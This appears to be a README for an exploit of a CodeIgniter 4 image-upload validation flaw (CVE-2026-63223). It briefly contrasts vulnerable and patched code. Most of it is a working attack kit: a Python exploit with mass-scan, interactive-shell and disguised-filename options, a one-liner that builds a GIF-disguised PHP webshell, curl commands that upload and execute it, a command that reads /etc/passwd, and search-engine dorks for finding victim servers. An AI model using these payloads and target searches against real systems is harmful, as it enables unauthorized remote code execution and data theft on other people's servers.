CVE-2026-63223

// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

1. Attacker generates PHP webshell with GIF89a header
   → file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
   → is_image validates: image/gif → PASS
   → File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
   → Apache passes .php to PHP-FPM → PHP executes
   → GIF89a output as plaintext, then <?php code runs
4. RCE as www-data

// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -e, --endpoint     Vulnerable upload endpoint (default: /upload/avatar)
  --field FIELD      Upload form field name (default: avatar)
  --method {gif,jpg,png}  Magic bytes disguise (default: gif)
  --filename NAME    Shell filename (default: shell.php)
  -c, --command      Shell command to execute (default: id)
  --shell            Interactive pseudo-shell mode
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)

$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"

  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"